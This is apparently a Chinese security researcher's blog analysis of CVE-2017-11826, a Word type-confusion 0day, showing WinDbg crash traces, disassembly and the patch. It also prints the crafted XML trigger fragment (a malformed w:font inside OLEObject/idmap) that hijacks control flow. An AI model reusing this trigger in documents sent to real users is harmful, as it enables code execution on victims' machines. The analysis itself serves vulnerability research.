作者:binjo
CVE-2017-11826是360捕获的一个在野0day,当时的announcement信息较少,随着研究人员在VirusTotal之类平台发现真实样本后,陆续有分析文章面世,然而对于漏洞本身似乎并没有文章进行深入分析。遂成此文,记录及分享之。 笔者的分析平台基于Windows 7 + Office 2010。笔者假设读者已经阅读过其它分析文章,对该漏洞样本有个大致了解。
真实样本中内嵌了两个docx,一个负责spray heap,一个负责触发漏洞,为了方便调试,我们可以利用oletools工具,先dump出来再单独加载、调试。dump的文件包含OLE头部,使用二进制编辑软件如010Editor去除。 打开该docx文件后,Office崩溃场景如下:
(97c.438): Access violation - code c0000005 (!!! second chance !!!)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\wwlib.dll -
eax=088888ec ebx=00000000 ecx=03d50f00 edx=00000004 esi=012b42b0 edi=0128c1dc
eip=5b38962a esp=002f3134 ebp=002f319c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetClassObject+0xf2e3a:
5b38962a 8b08 mov ecx,dword ptr [eax] ds:0023:088888ec=????????
引用寄存器eax时产生异常,查看该语句上下文,可以发现0x088888ec从某个对象+44h处取得,而设置其值就在上面不远处。
5b38960b 8b06 mov eax,dword ptr [esi]
5b38960d 8b10 mov edx,dword ptr [eax]
5b38960f 4a dec edx
5b389610 4a dec edx
5b389611 8bce mov ecx,esi
5b389613 e8ee70d4ff call wwlib!DllMain+0x3b15 (5b0d0706) // 关键call
5b389618 8b4044 mov eax,dword ptr [eax+44h]
5b38961b 8b4044 mov eax,dword ptr [eax+44h]
5b38961e 8b4f44 mov ecx,dword ptr [edi+44h]
5b389621 894144 mov dword ptr [ecx+44h],eax // [[edi+44h]+44h] = [[eax+44h]+44h]
5b389624 8b4744 mov eax,dword ptr [edi+44h]
5b389627 8b4044 mov eax,dword ptr [eax+44h] // eax = [[edi+44h]+44h]
5b38962a 8b08 mov ecx,dword ptr [eax] ds:0023:088888ec=????????
5b38962c 50 push eax
5b38962d ff5104 call dword ptr [ecx+4] // 飞向光明之巅!
5b389613(wwlib!DllGetClassObject+0xf2e23)处的call wwlib!DllMain+0x3b15就是关键,其取得的某个对象+44h处应该是个指针,指针指向的对象+44h处便是0x088888ec了。
为了验证,我们先attach windbg到winword.exe,对其设断,然后再打开触发文件。
(8fc.aa4): Break instruction exception - code 80000003 (first chance)
eax=7ffaf000 ebx=00000000 ecx=00000000 edx=7725ec4b esi=00000000 edi=00000000
eip=771f3c8c esp=01a9fe30 ebp=01a9fe5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
771f3c8c cc int 3
0:012> bp wwlib!DllGetClassObject+0xf2e23
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\wwlib.dll -
0:012> g
Breakpoint 0 hit
eax=039f7800 ebx=00000000 ecx=012b4450 edx=00000004 esi=012b4450 edi=039f79dc
eip=5b389613 esp=00120c40 ebp=00120ca8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
wwlib!DllGetClassObject+0xf2e23:
5b389613 e8ee70d4ff call wwlib!DllMain+0x3b15 (5b0d0706)
这时单步进入,慢慢调戏,哦不,调试之。当然看官也可同时在IDA中查看。
.text:318D0706 xxx_retrieve_obj_ptr proc near ; CODE XREF: sub_318CFA51+2A9↑p
.text:318D0706 ; sub_318D0659+1E↑p ...
.text:318D0706 mov ecx, [ecx]
.text:318D0708 mov eax, [ecx]
.text:318D070A cmp edx, eax
.text:318D070C jb short loc_318D0710
.text:318D070E mov edx, eax
.text:318D0710
.text:318D0710 loc_318D0710: ; CODE XREF: xxx_retrieve_obj_ptr+6↑j
.text:318D0710 mov eax, [ecx+8]
.text:318D0713 imul eax, edx
.text:318D0716 add eax, [ecx+0Ch]
.text:318D0719 add eax, ecx
.text:318D071B retn
.text:318D071B xxx_retrieve_obj_ptr endp
它逻辑很简单,edx是某个index值,ecx经过两次defer后指向一个结构体,返回的是edx对应index值对应的结构体(某个对象)指针。查看内存,可以推断当前存在6个对象,在内存中的大小为0x5c。
0:000> dd poi(ecx) l10/4
039f7800 00000006 00000019 0000005c 00000010
0:000> dd poi(ecx)+10+5c*0 l5c/4
039f7810 0000007d 00000096 0000002e 00000027
039f7820 00000000 00000000 00000000 00000000
039f7830 ffff0000 ffffffff 0000ffff 00000000
039f7840 ffff0000 0000ffff 00000000 00000000
039f7850 00000000 00000000 00000000 00000000
039f7860 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*1 l5c/4
039f786c 00000132 00000030 0000002e 00000027
039f787c 00000000 00000000 00000000 00000000
039f788c ffff0000 ffffffff 0000ffff 00000000
039f789c ffff0000 0000ffff 00000000 00000000
039f78ac 00000000 00000000 00000000 00000000
039f78bc 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*2 l5c/4
039f78c8 000001c7 000001ca 0000002e 00000027
039f78d8 00000000 00000000 00000000 00000000
039f78e8 ffff0000 ffffffff 0000ffff 00000000
039f78f8 ffff0000 0000ffff 00000000 00000000
039f7908 00000000 00000000 00000000 00000000
039f7918 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*3 l5c/4
039f7924 0000ffff 0000ffff 0000001a 0000001a
039f7934 00000001 00000000 00000000 00000000
039f7944 ffff0000 ffffffff 0000ffff 00000000
039f7954 ffff0000 0000ffff 00000000 00000000
039f7964 00000000 015006e0 5b694a29 00000000
039f7974 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*4 l5c/4
039f7980 0000020a 000000e0 0000002e 00000027
039f7990 00000000 00000000 00000000 00000000
039f79a0 ffff0000 ffffffff 0000ffff 00000000
039f79b0 ffff0000 0000ffff 00000000 00000000
039f79c0 00000000 0148d300 5b2acb04 00000000
039f79d0 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*5 l5c/4
039f79dc 0000ffff 0000ffff 0000001a 0000001a
039f79ec 00000000 00000000 00000000 00000000
039f79fc ffff0000 ffffffff 0000ffff 00000000
039f7a0c ffff0000 0000ffff 00000000 00000000
039f7a1c 00000000 01500640 5b694a29 00000000
039f7a2c 00000000 00000000 00000000
由前面断下时寄存器edx可知,程序在取得index=4对应的对象后,产生了崩溃,让我们看看这是个什么神仙。
0:000> dd poi(ecx)+10+5c*4 l5c/4
039f7980 0000020a 000000e0 0000002e 00000027
039f7990 00000000 00000000 00000000 00000000
039f79a0 ffff0000 ffffffff 0000ffff 00000000
039f79b0 ffff0000 0000ffff 00000000 00000000
039f79c0 00000000 0148d300 5b2acb04 00000000
039f79d0 00000000 00000000 00000000
0:000> dc 0148d300
0148d300 0000045f 00000000 00000000 00000000 _...............
0148d310 00000000 00000000 00000000 00000000 ................
0148d320 00000000 00000000 0069004c 0063006e ........L.i.n.c.
0148d330 00720065 00680043 00720061 00680043 e.r.C.h.a.r.C.h.
0148d340 00720061 088888ec 006f0066 0074006e a.r.....f.o.n.t.
0148d350 0062ff1a 00740061 006e0061 00000067 ..b.a.t.a.n.g...
0148d360 00000000 00000000 00000000 00000000 ................
0148d370 00000000 00000000 00000000 00000000 ................
这时我们发现那个0x088888ec在这对象的+44h处了,对照docx中的样式,我们可以推断这是那个font对象。
<w:body >
<w:shapeDefaults >
<o:OLEObject >
<w:font w:name="LincerCharChar裬࢈font:batang"><o:idmap/>
</o:OLEObject>
</w:shapeDefaults>
</w:body>
不知道客官是否好奇那个结构体数组中其它对象是什么呢,我们再来一探究竟。
0:000> dd poi(ecx)+10+5c*3 l5c/4
039f7924 0000ffff 0000ffff 0000001a 0000001a
039f7934 00000001 00000000 00000000 00000000
039f7944 ffff0000 ffffffff 0000ffff 00000000
039f7954 ffff0000 0000ffff 00000000 00000000
039f7964 00000000 015006e0 5b694a29 00000000
039f7974 00000000 00000000 00000000
0:000> dc 015006e0
015006e0 00000001 00000001 0148cf18 00000009 ..........H.....
015006f0 00000000 00000000 00000000 00000000 ................
01500700 00000000 000004b0 00000000 00000000 ................
01500710 0005003c 00000000 00000000 00000000 <...............
01500720 00000003 01500b40 00000000 614c223d [email protected].....="La
01500730 5957c414 00000000 595ffd5c 54484b4c ..WY....\._YLKHT
01500740 75734d43 69727453 614d676e 00000070 CMsuStringMap...
01500750 00000001 01202e98 592c484d 592c4db0 ...... .MH,Y.M,Y
0:000> du 0148cf18 l9
0148cf18 "OLEObject"
0:000> dd poi(ecx)+10+5c*5 l5c/4
039f79dc 0000ffff 0000ffff 0000001a 0000001a
039f79ec 00000000 00000000 00000000 00000000
039f79fc ffff0000 ffffffff 0000ffff 00000000
039f7a0c ffff0000 0000ffff 00000000 00000000
039f7a1c 00000000 01500640 5b694a29 00000000
039f7a2c 00000000 00000000 00000000
0:000> dc 01500640
01500640 00000001 00000001 01f86ee0 00000005 .........n......
01500650 00000000 00000000 00000000 00000000 ................
01500660 00000000 000004b0 00000000 00000000 ................
01500670 0005003c 00000000 00000000 00000000 <...............
01500680 00000003 00000000 00000000 2f226179 ............ya"/
01500690 00016b48 55b77748 0001fbd0 55b778c8 Hk..Hw.U.....x.U
015006a0 0000000e 74202261 00000000 00000000 ....a" t........
015006b0 00000000 00000000 00000001 594f9e4c ............L.OY
0:000> du 01f86ee0 l5
01f86ee0 "idmap"
原来它们分别对应OLEObject和idmap,和xml相呼应。至此,我想客官可以大胆猜上一猜了,Office在解析那段xml时,解析器维护了一段内存来保存解析状态,当处理<o:idmap>
时,存在type confusion漏洞,取得了前置font对象内容,且可以被利用来控制寄存器eax,从而控制程序流程。如果<w:font>
这个tag正确闭合,可以验证该font对象内容不会存在于那段内存中。
知道漏洞关键点后,寻找补丁也就顺理成章,不难找到具体位置了。取得对象指针后,再比较了+48h处的指针,如果不对应则跳转了。
.text:31B8960B 8B 01 mov eax, [ecx]
.text:31B8960D 8B 10 mov edx, [eax]
.text:31B8960F 4A dec edx
.text:31B89610 4A dec edx
.text:31B89611 E8 E8 70 D4 FF call xxx_retrieve_obj_ptr
.text:31B89616 81 78 48 4A 4A E9+ cmp dword ptr [eax+48h], offset sub_31E94A4A ; patch for CVE-2017-11826
.text:31B8961D 75 1D jnz short loc_31B8963C
.text:31B8961F 8B 40 44 mov eax, [eax+44h]
.text:31B89622 8B 40 44 mov eax, [eax+44h]
.text:31B89625 8B 4F 44 mov ecx, [edi+44h]
.text:31B89628 89 41 44 mov [ecx+44h], eax
.text:31B8962B 8B 47 44 mov eax, [edi+44h]
.text:31B8962E 8B 40 44 mov eax, [eax+44h]
.text:31B89631 8B 08 mov ecx, [eax]
.text:31B89633 50 push eax
.text:31B89634 FF 51 04 call dword ptr [ecx+4]
正常打开利用文件,咣当崩溃了,这是为啥呢?
(a70.544): Access violation - code c0000005 (!!! second chance !!!)
eax=768a0000 ebx=088883ec ecx=00000000 edx=77206c74 esi=768a0000 edi=08888f70
eip=08889000 esp=08888f70 ebp=08888f70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
08889000 e893ffffff call 08888f98
许久没写文章,疏漏在所难免,欢迎到微博联系指正。@binjo_
欢迎转发分享,或者打赏一杯咖啡钱。 :)